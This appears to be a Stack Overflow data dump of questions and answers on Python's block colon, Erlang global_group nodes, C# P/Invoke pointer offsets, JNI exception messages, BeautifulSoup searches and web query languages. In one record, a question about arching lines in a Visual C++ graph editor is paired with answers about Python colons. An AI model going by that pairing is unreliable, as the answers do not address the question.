"https://Stackoverflow.com/users/14732/"
] |
What is the purpose of the colon before a block in Python?
Example:
```
if n == 0:
print "The end"
```
|
The colon is there to declare the start of an indented block.
Technically, it's not necessary; you could just indent and de-indent when the block is done. However, based on the [Python koan](http://www.python.org/dev/peps/pep-0020/) “explicit is better than implicit” (EIBTI), I believe that Guido deliberately made the colon obligatory, so *any* statement that *should* be followed by indented code ends in a colon. (It also allows one-liners if you continue after the colon, but this style is not in wide use.)
It also makes the work of syntax-aware auto-indenting editors easier, which also counted in the decision.
---
This question turns out to be a [Python FAQ](http://docs.python.org/faq/design.html#why-are-colons-required-for-the-if-while-def-class-statements), and I found one of its answers by Guido [here](http://markmail.org/message/ve7mwqxhci4pm6lw):
>
> **Why are colons required for the if/while/def/class statements?**
>
>
> The colon is required primarily to enhance readability (one of the results of the experimental ABC language). Consider this:
>
>
>
> ```
> if a == b
> print a
>
> ```
>
> versus
>
>
>
> ```
> if a == b:
> print a
>
> ```
>
> Notice how the second one is slightly easier to read. Notice further how a colon sets off the example in this FAQ answer; it’s a standard usage in English.
>
>
> Another minor reason is that the colon makes it easier for editors with syntax highlighting; they can look for colons to decide when indentation needs to be increased instead of having to do a more elaborate parsing of the program text.
>
>
>
|
215,584 |
<p>I am currently a student and trying to design a Visual C++ application to allow me to visually insert an oriented graph in order to create a text file with the graph's matrix. At this point I have created an onClick event to create nodes and have used the form's Paint event to draw the nodes. I have also inserted the conditions to avoid nodes from overlapping.</p>
<p>I am currently working on creating the links between nodes. The problem that I have encountered is that the line that unites two nodes crosses another node. I consider that writing an algorithm to detect overlapping and calculate how much the line needs to arch in order to avoid that is too tedious in this situation.</p>
<p>Therefore I thought about creating a line that can be arched by the user by clicking and dragging it to the left or right, however I have had problems finding any tutorials on how to do this. So if anyone has ever had to introduce this kind of arching line in a project or has any idea where I could find some information about this I would deeply appreciate it.</p>
<p>Mentions:</p>
<ol>
<li>please do not recommend any fancy graphics libraries for doing this, as I am not interested in installing 3rd party stuff for this program. The function I want to insert the code into is named something like form1_onPaint, so I would like to keep it strictly to the C++ standard libraries.</li>
<li>I know I said I am interested in arching a line through click and drag, however if someone could suggest another viable solution to this, such as a function that detects overlapping in onPaint events or anything else that could be of use to solve this it would be of great help.</li>
</ol>
|
[
{
"answer_id": 215676,
"author": "tzot",
"author_id": 6899,
"author_profile": "https://Stackoverflow.com/users/6899",
"pm_score": 7,
"selected": true,
"text": "<p>The colon is there to declare the start of an indented block.</p>\n\n<p>Technically, it's not necessary; you could just indent and de-indent when the block is done. However, based on the <a href=\"http://www.python.org/dev/peps/pep-0020/\" rel=\"noreferrer\">Python koan</a> “explicit is better than implicit” (EIBTI), I believe that Guido deliberately made the colon obligatory, so <em>any</em> statement that <em>should</em> be followed by indented code ends in a colon. (It also allows one-liners if you continue after the colon, but this style is not in wide use.)</p>\n\n<p>It also makes the work of syntax-aware auto-indenting editors easier, which also counted in the decision.</p>\n\n<hr>\n\n<p>This question turns out to be a <a href=\"http://docs.python.org/faq/design.html#why-are-colons-required-for-the-if-while-def-class-statements\" rel=\"noreferrer\">Python FAQ</a>, and I found one of its answers by Guido <a href=\"http://markmail.org/message/ve7mwqxhci4pm6lw\" rel=\"noreferrer\">here</a>:</p>\n\n<blockquote>\n <p><strong>Why are colons required for the if/while/def/class statements?</strong></p>\n \n <p>The colon is required primarily to enhance readability (one of the results of the experimental ABC language). Consider this:</p>\n\n<pre><code>if a == b \n print a\n</code></pre>\n \n <p>versus </p>\n\n<pre><code>if a == b: \n print a\n</code></pre>\n \n <p>Notice how the second one is slightly easier to read. Notice further how a colon sets off the example in this FAQ answer; it’s a standard usage in English.</p>\n \n <p>Another minor reason is that the colon makes it easier for editors with syntax highlighting; they can look for colons to decide when indentation needs to be increased instead of having to do a more elaborate parsing of the program text.</p>\n</blockquote>\n"
},
{
"answer_id": 216060,
"author": "Ryan",
"author_id": 8819,
"author_profile": "https://Stackoverflow.com/users/8819",
"pm_score": 4,
"selected": false,
"text": "<p>Three reasons:</p>\n\n<ol>\n<li>To increase readability. The colon helps the code flow into the following indented block.</li>\n<li>To help text editors/IDEs, they can automatically indent the next line if the previous line ended with a colon.</li>\n<li>To make parsing by python slightly easier.</li>\n</ol>\n"
},
{
"answer_id": 1464645,
"author": "Yoo",
"author_id": 37664,
"author_profile": "https://Stackoverflow.com/users/37664",
"pm_score": 5,
"selected": false,
"text": "<p>Consider the following list of things to buy from the grocery store, written in Pewprikanese.</p>\n\n<pre><code>pewkah\nlalala\n chunkykachoo\n pewpewpew\nskunkybacon\n</code></pre>\n\n<p>When I read that, I'm confused, Are chunkykachoo and pewpewpew a kind of lalala? Or what if chunkykachoo and pewpewpew are indented just because they are special items?</p>\n\n<p>Now see what happens when my Pewprikanese friend add a colon to help me parse the list better: (<-- like this)</p>\n\n<pre><code>pewkah\nlalala: (<-- see this colon)\n chunkykachoo\n pewpewpew\nskunkybacon\n</code></pre>\n\n<p>Now it's clear that chunkykachoo and pewpewpew are a kind of lalala.</p>\n\n<p>Let's say there is a person who's starting to learn Python, which happens to be her first programming language to learn. Without colons, there's a considerable probability that she's going to keep thinking \"this lines are indented because this lines are like special items.\", and it could take a while to realize that that's not the best way to think about indentation.</p>\n"
},
{
"answer_id": 3075389,
"author": "unwind",
"author_id": 28169,
"author_profile": "https://Stackoverflow.com/users/28169",
"pm_score": 3,
"selected": false,
"text": "<p>As far as I know, it's an intentional design to make it more obvious, that the reader should expect an indentation after the colon.</p>\n\n<p>It also makes constructs like this possible:</p>\n\n<pre><code>if expression: action()\ncode_continues()\n</code></pre>\n\n<p>Note (as a commenter did) that this is not exactly the shining gold standard of good Python style. It would be far better to have a blank, there:</p>\n\n<pre><code>if expression: action()\n\ncode_continues()\n</code></pre>\n\n<p>to avoid confusion. I just wanted to make it clear, with the first example, that it's possible to write like that, since having the code for the <code>if</code> immediately following the colon makes it possible for the compiler to understand that the next line should <em>not</em> be indented.</p>\n"
},
{
"answer_id": 52451080,
"author": "Serge",
"author_id": 5874981,
"author_profile": "https://Stackoverflow.com/users/5874981",
"pm_score": 2,
"selected": false,
"text": "<p>According to Guido Van Rossum, the Python inventor, the idea of using a colon to make the structure more apparent is inspired by earlier experiments with a Python predecessor, ABC language, which also targeted the beginners. Apparently, on their early tests, beginner learners progressed faster with colon than without it. Read the whole story at Guido's post python history blog.</p>\n\n<p><a href=\"http://python-history.blogspot.com/2009/02/early-language-design-and-development.html\" rel=\"nofollow noreferrer\">http://python-history.blogspot.com/2009/02/early-language-design-and-development.html</a> </p>\n\n<p>And yes, the colon is useful in one-liners and is less annoying than the semicolon. Also style guide for long time recommended break on several lines only when it ends with a binary operator</p>\n\n<pre><code>x = (23 + \n 24 + \n 33)\n</code></pre>\n\n<p>Addition of colon made compound statement look the same way for greater style uniformity.</p>\n\n<p>There is a 'colonless' encoding for CPython as well as colon-less dialect, called cobra. Those did not pick up. </p>\n"
},
{
"answer_id": 69091420,
"author": "Jim K",
"author_id": 16853579,
"author_profile": "https://Stackoverflow.com/users/16853579",
"pm_score": 0,
"selected": false,
"text": "<p>The colon is a complete annoyance. If you need to indent after an 'if' or a 'for', then just look for the 'if' or the 'for'.</p>\n<p>Cmon', all this rationalization. The 'spin' language for the propeller chip easily overcomes this issue.</p>\n<p>PLEASE, let's make the colon optional, and get on with some logical programming.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215584",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29293/"
] |
I am currently a student and trying to design a Visual C++ application to allow me to visually insert an oriented graph in order to create a text file with the graph's matrix. At this point I have created an onClick event to create nodes and have used the form's Paint event to draw the nodes. I have also inserted the conditions to avoid nodes from overlapping.
I am currently working on creating the links between nodes. The problem that I have encountered is that the line that unites two nodes crosses another node. I consider that writing an algorithm to detect overlapping and calculate how much the line needs to arch in order to avoid that is too tedious in this situation.
Therefore I thought about creating a line that can be arched by the user by clicking and dragging it to the left or right, however I have had problems finding any tutorials on how to do this. So if anyone has ever had to introduce this kind of arching line in a project or has any idea where I could find some information about this I would deeply appreciate it.
Mentions:
1. please do not recommend any fancy graphics libraries for doing this, as I am not interested in installing 3rd party stuff for this program. The function I want to insert the code into is named something like form1\_onPaint, so I would like to keep it strictly to the C++ standard libraries.
2. I know I said I am interested in arching a line through click and drag, however if someone could suggest another viable solution to this, such as a function that detects overlapping in onPaint events or anything else that could be of use to solve this it would be of great help.
|
The colon is there to declare the start of an indented block.
Technically, it's not necessary; you could just indent and de-indent when the block is done. However, based on the [Python koan](http://www.python.org/dev/peps/pep-0020/) “explicit is better than implicit” (EIBTI), I believe that Guido deliberately made the colon obligatory, so *any* statement that *should* be followed by indented code ends in a colon. (It also allows one-liners if you continue after the colon, but this style is not in wide use.)
It also makes the work of syntax-aware auto-indenting editors easier, which also counted in the decision.
---
This question turns out to be a [Python FAQ](http://docs.python.org/faq/design.html#why-are-colons-required-for-the-if-while-def-class-statements), and I found one of its answers by Guido [here](http://markmail.org/message/ve7mwqxhci4pm6lw):
>
> **Why are colons required for the if/while/def/class statements?**
>
>
> The colon is required primarily to enhance readability (one of the results of the experimental ABC language). Consider this:
>
>
>
> ```
> if a == b
> print a
>
> ```
>
> versus
>
>
>
> ```
> if a == b:
> print a
>
> ```
>
> Notice how the second one is slightly easier to read. Notice further how a colon sets off the example in this FAQ answer; it’s a standard usage in English.
>
>
> Another minor reason is that the colon makes it easier for editors with syntax highlighting; they can look for colons to decide when indentation needs to be increased instead of having to do a more elaborate parsing of the program text.
>
>
>
|
215,615 |
<p>Erlang support to partition its nodes into groups using the <a href="http://erlang.org/doc/man/global_group.html" rel="nofollow noreferrer">global_group</a> module.
Further, Erlang supports adding nodes on the fly to the node-network. Are these two features usable with each other?<br>
As far as I understand, you have to name every node on startup to use the global groups.</p>
|
[
{
"answer_id": 236226,
"author": "Jonke",
"author_id": 15638,
"author_profile": "https://Stackoverflow.com/users/15638",
"pm_score": 2,
"selected": false,
"text": "<blockquote>\n <p>A node is an executing Erlang runtime\n system which has been given a name,\n using the command line flag -name\n (long names) or -sname (short names).</p>\n \n <p>A hidden node is a node started with\n the command line flag -hidden.\n Connections between hidden nodes and\n other nodes are not transitive, they\n must be set up explicitly. Also,\n hidden nodes does not show up in the\n list of nodes returned by nodes().\n Instead, nodes(hidden) or\n nodes(connected) must be used. This\n means, for example, that the hidden\n node will not be added to the set of\n nodes that global is keeping track of.</p>\n</blockquote>\n\n<p>So in short , yes, you need to give our node a name to be able other nodes to find it.</p>\n\n<p>It feels that you either are asking without trying out or have a very complex question and maybe an example of what you are trying to accomplish could make it possible to give a better answer.</p>\n"
},
{
"answer_id": 2736872,
"author": "TBBle",
"author_id": 166389,
"author_profile": "https://Stackoverflow.com/users/166389",
"pm_score": 2,
"selected": true,
"text": "<p>Looking at the <a href=\"http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl\" rel=\"nofollow noreferrer\">global_group source</a>, the list of nodes is part of the config checked by the nodes as they synchronise.</p>\n\n<p>There is however an exported function <a href=\"http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl#L485\" rel=\"nofollow noreferrer\">global_group:global_groups_changed</a> which handles the node-list changing.</p>\n\n<p>That's called from <a href=\"http://github.com/erlang/otp/blob/dev/lib/kernel/src/kernel.erl#L43\" rel=\"nofollow noreferrer\">kernel:config_change</a> (See <a href=\"http://www.erlang.org/doc/apps/kernel/application.html#Module:config_change-3\" rel=\"nofollow noreferrer\">Module:config_change/3</a>) so it's certainly possible to add new nodes to a global_group during a release upgrade (OTP embedded-systems style) (See <a href=\"http://www.erlang.org/doc/design_principles/release_handling.html#id2275165\" rel=\"nofollow noreferrer\">\"Updating Application Specifications\"</a>)</p>\n\n<p>It <em>might</em> be possible to simply do:</p>\n\n<pre><code>application:set_env( kernel, global_groups, [GroupTuple|GroupTuples] ),\nkernel:config_change( [ { global_groups, [GroupTuple|GroupTuples] } ], [], [] )\n</code></pre>\n\n<p>Assuming you already had a global_groups configuration, or </p>\n\n<pre><code>application:set_env( kernel, global_groups, [GroupTuple|GroupTuples] ),\nkernel:config_change( [], [{ global_groups, [GroupTuple|GroupTuples] }], [] )\n</code></pre>\n\n<p>if you are configuring global_groups into a cluster where it didn't already exist.</p>\n\n<p>You need to do the above on each node, and if they decide to sync during the process, they'll split down the lines of the config difference. (See the comment in the <a href=\"http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl#L192\" rel=\"nofollow noreferrer\">global_group source</a> about syncing during a release upgrade)</p>\n\n<p>But once that's been done to all of them,</p>\n\n<pre><code>global_group:sync()\n</code></pre>\n\n<p>should get everything working again.</p>\n\n<p>I haven't tested the above recipe, but it looks tasty to me. ^_^</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215615",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23760/"
] |
Erlang support to partition its nodes into groups using the [global\_group](http://erlang.org/doc/man/global_group.html) module.
Further, Erlang supports adding nodes on the fly to the node-network. Are these two features usable with each other?
As far as I understand, you have to name every node on startup to use the global groups.
|
Looking at the [global\_group source](http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl), the list of nodes is part of the config checked by the nodes as they synchronise.
There is however an exported function [global\_group:global\_groups\_changed](http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl#L485) which handles the node-list changing.
That's called from [kernel:config\_change](http://github.com/erlang/otp/blob/dev/lib/kernel/src/kernel.erl#L43) (See [Module:config\_change/3](http://www.erlang.org/doc/apps/kernel/application.html#Module:config_change-3)) so it's certainly possible to add new nodes to a global\_group during a release upgrade (OTP embedded-systems style) (See ["Updating Application Specifications"](http://www.erlang.org/doc/design_principles/release_handling.html#id2275165))
It *might* be possible to simply do:
```
application:set_env( kernel, global_groups, [GroupTuple|GroupTuples] ),
kernel:config_change( [ { global_groups, [GroupTuple|GroupTuples] } ], [], [] )
```
Assuming you already had a global\_groups configuration, or
```
application:set_env( kernel, global_groups, [GroupTuple|GroupTuples] ),
kernel:config_change( [], [{ global_groups, [GroupTuple|GroupTuples] }], [] )
```
if you are configuring global\_groups into a cluster where it didn't already exist.
You need to do the above on each node, and if they decide to sync during the process, they'll split down the lines of the config difference. (See the comment in the [global\_group source](http://github.com/erlang/otp/blob/dev/lib/kernel/src/global_group.erl#L192) about syncing during a release upgrade)
But once that's been done to all of them,
```
global_group:sync()
```
should get everything working again.
I haven't tested the above recipe, but it looks tasty to me. ^\_^
|
215,624 |
<p>I am trying to use some pinvoke code to call a C function. The function fills a buffer with data.</p>
<p>The structure is set up as a DWORD for the length, followed by a string. How do I extract the string from the IntPtr?</p>
<pre><code> IntPtr buffer = Marshal.AllocHGlobal(nRequiredSize);
PInvokedFunction(buffer, nRequiredSize);
string s = Marshal.PtrToStringAuto(buffer + 4); //this is an error.
Marshal.FreeHGlobal(buffer);
</code></pre>
|
[
{
"answer_id": 215627,
"author": "Adam Tegen",
"author_id": 4066,
"author_profile": "https://Stackoverflow.com/users/4066",
"pm_score": 0,
"selected": false,
"text": "<p>The best I could come up with was the following, though the use of the UnmanagedMemoryStream seems a bit of a hack.</p>\n\n<pre><code> IntPtr buffer = Marshal.AllocHGlobal((int)nRequiredSize);\n PInvokedFunction(buffer, nRequiredSize);\n UnmanagedMemoryStream memStream = new UnmanagedMemoryStream(buffer.ToPointer(), nRequiredSize);\n memStream.Seek(4, SeekOrigin.Begin);\n IntPtr ptr = new IntPtr(memStream.PositionPointer);\n string s = Marshal.PtrToStringAuto(ptr);\n Marshal.FreeHGlobal(buffer);\n</code></pre>\n"
},
{
"answer_id": 215660,
"author": "Matt Ellis",
"author_id": 29306,
"author_profile": "https://Stackoverflow.com/users/29306",
"pm_score": 3,
"selected": true,
"text": "<p>You should do this:</p>\n\n<pre><code>IntPtr sBuffer = new IntPtr( buffer.ToInt64() + 4 );\nstring s = Marshal.PtrToStringAuto( sBuffer );\n</code></pre>\n\n<p>So your code is 64bit safe.</p>\n"
},
{
"answer_id": 215698,
"author": "Adam Tegen",
"author_id": 4066,
"author_profile": "https://Stackoverflow.com/users/4066",
"pm_score": 0,
"selected": false,
"text": "<p>This seemed to work, although I think I like <a href=\"https://stackoverflow.com/questions/215624/pointer-math-in-c#215660\">Matt Ellis's Answer</a> better.</p>\n\n<p>I changed the IntPtr on the [DllImport] to a byte[].</p>\n\n<pre><code> //allocate the buffer in .Net\n byte[] buffer = new byte[nRequiredSize];\n\n //call the WIN32 function, passing it the allocated buffer\n PInvokedFunction(buffer);\n\n //get the string from the 5th byte\n string s = Marshal.PtrToStringAuto(Marshal.UnsafeAddrOfPinnedArrayElement(buffer, 4));\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215624",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4066/"
] |
I am trying to use some pinvoke code to call a C function. The function fills a buffer with data.
The structure is set up as a DWORD for the length, followed by a string. How do I extract the string from the IntPtr?
```
IntPtr buffer = Marshal.AllocHGlobal(nRequiredSize);
PInvokedFunction(buffer, nRequiredSize);
string s = Marshal.PtrToStringAuto(buffer + 4); //this is an error.
Marshal.FreeHGlobal(buffer);
```
|
You should do this:
```
IntPtr sBuffer = new IntPtr( buffer.ToInt64() + 4 );
string s = Marshal.PtrToStringAuto( sBuffer );
```
So your code is 64bit safe.
|
215,638 |
<p>I'm trying to access the message in a jthrowable while handing an exception generated when I fail to find a class. However, I am unable to access the message ID of getMessage() on the jthrowable object, and I don't know why. I've tried changing the signature of getMessage to "()Ljava/lang/String" (without the semicolon at the end, but that's necessary, right?) with no joy. I'm confused as hell about this. I even tried replacing getMessage with toString, and <em>that</em> didn't work. Obviously I'm doing something trivially wrong here.</p>
<p>Here's the code I'm using:</p>
<pre><code>jthrowable java_exception;
jclass java_class;
jmethodID method;
java_exception = (*jEnv)->ExceptionOccurred(jEnv);
assert (java_exception != NULL);
java_class = (*jEnv)->GetObjectClass (jEnv, java_exception);
assert (java_class != NULL);
method = (*jEnv)->GetMethodID (jEnv, java_class, "getMessage", "()Ljava/lang/String;");
if (method == NULL) {
printf ("Seriously, how do I get here?!\n");
(*jEnv)->ExceptionDescribe (jEnv);
return;
}
</code></pre>
<p>The output of this code (amongst other things) looks like this:</p>
<blockquote>
<p>Seriously, how do I get here?!<br>
Exception in thread "main" java.lang.NoClassDefFoundError: com/planet/core360/docgen/Processor</p>
</blockquote>
<p><code>javap -p -s java.lang.Throwable</code> gives me this:</p>
<blockquote>
<p>Compiled from "Throwable.java"<br>
public class java.lang.Throwable extends java.lang.Object implements java.io.Serializable{<br>
...<br>
public java.lang.String getMessage();<br>
Signature: ()Ljava/lang/String;<br>
... </p>
</blockquote>
|
[
{
"answer_id": 215662,
"author": "Chris R",
"author_id": 23309,
"author_profile": "https://Stackoverflow.com/users/23309",
"pm_score": 4,
"selected": true,
"text": "<p>Okay, so it looks like my problem was that <code>GetObjectClass</code> doesn't act the way you'd expect it to on a jthrowable, or at least the results of it are not useful for the purposes of getting methods. Replacing that portion of the code with this works:</p>\n\n<pre><code>java_class = (*jEnv)->FindClass (jEnv, \"java/lang/Throwable\");\nmethod = (*jEnv)->GetMethodID (jEnv, java_class, \"getMessage\", \"()Ljava/lang/String;\");\n</code></pre>\n\n<p>Damnably odd, that. I hope this helps someone else in the future, though.</p>\n"
},
{
"answer_id": 215681,
"author": "C. K. Young",
"author_id": 13,
"author_profile": "https://Stackoverflow.com/users/13",
"pm_score": 2,
"selected": false,
"text": "<p>I tried your approach, and it worked for me. A few things though: I'm using the C++ interface (though that shouldn't make a difference), and I'm using Java 6 update 10, x64 edition, on Ubuntu 8.04. Perhaps the Java version and/or platform used will make a difference.</p>\n\n<pre><code>#include <cstdio>\n#include <jni.h>\n\nint\nmain(int argc, char** argv)\n{\n if (argc != 3) {\n std::fprintf(stderr, \"usage: %s class message\\n\", argv[0]);\n return 1;\n }\n\n JavaVM* jvm;\n void* penv;\n JavaVMInitArgs args = {JNI_VERSION_1_6};\n\n if (jint res = JNI_CreateJavaVM(&jvm, &penv, &args)) {\n std::fprintf(stderr, \"Can's create JVM: %d\\n\", res);\n return -res;\n }\n\n JNIEnv* env(static_cast<JNIEnv*>(penv));\n jint vers(env->GetVersion());\n std::printf(\"JNI version %d.%d\\n\", vers >> 16, vers & 0xffff);\n\n env->ThrowNew(env->FindClass(argv[1]), argv[2]);\n jthrowable exc(env->ExceptionOccurred());\n std::printf(\"Exception: %p\\n\", exc);\n if (exc) {\n jclass exccls(env->GetObjectClass(exc));\n jclass clscls(env->FindClass(\"java/lang/Class\"));\n\n jmethodID getName(env->GetMethodID(clscls, \"getName\", \"()Ljava/lang/String;\"));\n jstring name(static_cast<jstring>(env->CallObjectMethod(exccls, getName)));\n char const* utfName(env->GetStringUTFChars(name, 0));\n\n jmethodID getMessage(env->GetMethodID(exccls, \"getMessage\", \"()Ljava/lang/String;\"));\n jstring message(static_cast<jstring>(env->CallObjectMethod(exc, getMessage)));\n char const* utfMessage(env->GetStringUTFChars(message, 0));\n\n std::printf(\"Exception: %s: %s\\n\", utfName, utfMessage);\n env->ReleaseStringUTFChars(message, utfMessage);\n env->ReleaseStringUTFChars(name, utfName);\n }\n return -jvm->DestroyJavaVM();\n}\n</code></pre>\n\n<p>I've used <code>jnitest java/lang/InternalError 'Hello, world!'</code> for my testing; feel free to try with different exception types!</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215638",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23309/"
] |
I'm trying to access the message in a jthrowable while handing an exception generated when I fail to find a class. However, I am unable to access the message ID of getMessage() on the jthrowable object, and I don't know why. I've tried changing the signature of getMessage to "()Ljava/lang/String" (without the semicolon at the end, but that's necessary, right?) with no joy. I'm confused as hell about this. I even tried replacing getMessage with toString, and *that* didn't work. Obviously I'm doing something trivially wrong here.
Here's the code I'm using:
```
jthrowable java_exception;
jclass java_class;
jmethodID method;
java_exception = (*jEnv)->ExceptionOccurred(jEnv);
assert (java_exception != NULL);
java_class = (*jEnv)->GetObjectClass (jEnv, java_exception);
assert (java_class != NULL);
method = (*jEnv)->GetMethodID (jEnv, java_class, "getMessage", "()Ljava/lang/String;");
if (method == NULL) {
printf ("Seriously, how do I get here?!\n");
(*jEnv)->ExceptionDescribe (jEnv);
return;
}
```
The output of this code (amongst other things) looks like this:
>
> Seriously, how do I get here?!
>
> Exception in thread "main" java.lang.NoClassDefFoundError: com/planet/core360/docgen/Processor
>
>
>
`javap -p -s java.lang.Throwable` gives me this:
>
> Compiled from "Throwable.java"
>
> public class java.lang.Throwable extends java.lang.Object implements java.io.Serializable{
>
> ...
>
> public java.lang.String getMessage();
>
> Signature: ()Ljava/lang/String;
>
> ...
>
>
>
|
Okay, so it looks like my problem was that `GetObjectClass` doesn't act the way you'd expect it to on a jthrowable, or at least the results of it are not useful for the purposes of getting methods. Replacing that portion of the code with this works:
```
java_class = (*jEnv)->FindClass (jEnv, "java/lang/Throwable");
method = (*jEnv)->GetMethodID (jEnv, java_class, "getMessage", "()Ljava/lang/String;");
```
Damnably odd, that. I hope this helps someone else in the future, though.
|
215,667 |
<p>I am trying to develop a script to pull some data from a large number of html tables. One problem is that the number of rows that contain the information to create the column headings is indeterminate. I have discovered that the last row of the set of header rows has the attribute border-bottom for each cell with a value. Thus I decided to find those cells with the attribute border-bottom. As you can see I initialized a list. I intended to find the parent of each of the cells that end up in the borderCells list. However, when I run this code only one cell, that is the first cell in allCells with the attribute border-bottom is added to the list borderCells. For your information allCells has 193 cells, 9 of them have the attr border-bottom. Thus I was expecting nine members in the borderCells list. Any help is appreciated.</p>
<pre><code>borderCells=[]
for each in allCells:
if each.find(attrs={"style": re.compile("border-bottom")}):
borderCells.append(each)
</code></pre>
|
[
{
"answer_id": 215720,
"author": "pantsgolem",
"author_id": 9261,
"author_profile": "https://Stackoverflow.com/users/9261",
"pm_score": 2,
"selected": false,
"text": "<p>Is there any reason </p>\n\n<blockquote>\n <p><code>borderCells = soup.findAll(\"td\", style=re.compile(\"border-bottom\")})</code></p>\n</blockquote>\n\n<p>wouldn't work? It's kind of hard to figure out exactly what you're asking for, since your description of the original tables is pretty ambiguous, and it's not really clear what allCells is supposed to be either.</p>\n\n<p>I would suggest giving a representative sample of the HTML you're working with, along with the \"correct\" results pulled from that table.</p>\n"
},
{
"answer_id": 215727,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Well you know computers are always right. The answer is that the attrs are on different things in the html. What I was modeling on what some html that looked like this:</p>\n\n<pre><code><TD nowrap align=\"left\" valign=\"bottom\">\n<DIV style=\"border-bottom: 1px solid #000000; width: 1%; padding-bottom: 1px\">\n<B>Name</B>\n</DIV>\n</TD>\n</code></pre>\n\n<p>The other places in the file where style=\"border-bottom etc look like:</p>\n\n<pre><code><TD colspan=\"2\" nowrap align=\"center\" valign=\"bottom\" style=\"border-bottom: 1px solid 00000\">\n<B>Location</B>\n</TD>\n</code></pre>\n\n<p>so now I have to modify the question to figure out how identify those cells where the attr is at the td level not the div level</p>\n"
},
{
"answer_id": 215737,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Someone took away one of their answers though I tested it and it worked for me. Thanks for the help. Both answers worked and I learned a little bit more about how to post questions and after I stare at the code for a while I might learn more about Python and BeautifulSoup</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215667",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I am trying to develop a script to pull some data from a large number of html tables. One problem is that the number of rows that contain the information to create the column headings is indeterminate. I have discovered that the last row of the set of header rows has the attribute border-bottom for each cell with a value. Thus I decided to find those cells with the attribute border-bottom. As you can see I initialized a list. I intended to find the parent of each of the cells that end up in the borderCells list. However, when I run this code only one cell, that is the first cell in allCells with the attribute border-bottom is added to the list borderCells. For your information allCells has 193 cells, 9 of them have the attr border-bottom. Thus I was expecting nine members in the borderCells list. Any help is appreciated.
```
borderCells=[]
for each in allCells:
if each.find(attrs={"style": re.compile("border-bottom")}):
borderCells.append(each)
```
|
Is there any reason
>
> `borderCells = soup.findAll("td", style=re.compile("border-bottom")})`
>
>
>
wouldn't work? It's kind of hard to figure out exactly what you're asking for, since your description of the original tables is pretty ambiguous, and it's not really clear what allCells is supposed to be either.
I would suggest giving a representative sample of the HTML you're working with, along with the "correct" results pulled from that table.
|
215,672 |
<p>Does anyone have experience with a query language for the web?</p>
<p>I am looking for project, commercial or not, that does a good job at making a webpage queryable and that even follows links on it to aggregate information from a bunch of pages.</p>
<p>I would prefere a sql or linq like syntax. I could of course download a webpage and start doing some XPATH on it but Im looking for a solution that has a nice abstraction.</p>
<p>I found websql </p>
<p><a href="http://www.cs.utoronto.ca/~websql/" rel="nofollow noreferrer">http://www.cs.utoronto.ca/~websql/</a></p>
<p>Which looks good but I'm not into Java</p>
<pre><code>SELECT a.label
FROM Anchor a SUCH THAT base = "http://www.SomeDoc.html"
WHERE a.href CONTAINS ".ps.Z";
</code></pre>
<p>Are there others out there? </p>
<p>Is there a library that can be used in a .NET language?</p>
|
[
{
"answer_id": 215675,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 0,
"selected": false,
"text": "<p>I'm not sure whether this is exactly what you're looking for, but <a href=\"http://freebase.com\" rel=\"nofollow noreferrer\">Freebase</a> is an open database of information with a programmatic query interface.</p>\n"
},
{
"answer_id": 215705,
"author": "Sklivvz",
"author_id": 7028,
"author_profile": "https://Stackoverflow.com/users/7028",
"pm_score": 1,
"selected": false,
"text": "<p>You are probably looking for <a href=\"http://www.w3.org/TR/rdf-sparql-query/\" rel=\"nofollow noreferrer\">SPARQL</a>. It doesn't let you parse pages, but it's designed to solve the same problems (i.e. getting data out of a site -- from the <em>cloud</em>). It's a W3C standard, but Microsoft, apparently, does not support it yet, unfortunately.</p>\n"
},
{
"answer_id": 215788,
"author": "Pistos",
"author_id": 28558,
"author_profile": "https://Stackoverflow.com/users/28558",
"pm_score": 2,
"selected": false,
"text": "<p>See <a href=\"http://code.whytheluckystiff.net/hpricot/\" rel=\"nofollow noreferrer\">hpricot</a> (a Ruby library).</p>\n\n<pre><code># load the RedHanded home page\ndoc = Hpricot(open(\"http://redhanded.hobix.com/index.html\"))\n# change the CSS class on links\n(doc/\"span.entryPermalink\").set(\"class\", \"newLinks\")\n# remove the sidebar\n(doc/\"#sidebar\").remove\n# print the altered HTML\nputs doc\n</code></pre>\n\n<p>It supports querying with CSS or XPath selectors.</p>\n"
},
{
"answer_id": 218372,
"author": "Colin Pickard",
"author_id": 12744,
"author_profile": "https://Stackoverflow.com/users/12744",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://www.crummy.com/software/BeautifulSoup/\" rel=\"nofollow noreferrer\">Beautiful Soup</a> and <a href=\"http://code.whytheluckystiff.net/hpricot/\" rel=\"nofollow noreferrer\">hpricot</a> are the canonical versions, for Python and Ruby respectively. </p>\n\n<p>For C#, I have used and appreciated <a href=\"http://www.codeplex.com/htmlagilitypack\" rel=\"nofollow noreferrer\">HTML Agility Pack</a>. It does an excellent job of turning messy, invalid HTML in queryable goodness.</p>\n\n<p>There is also <a href=\"http://www.majestic12.co.uk/projects/html_parser.php\" rel=\"nofollow noreferrer\">this C# html parser</a> which looks good but I've not tried it.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215672",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/25145/"
] |
Does anyone have experience with a query language for the web?
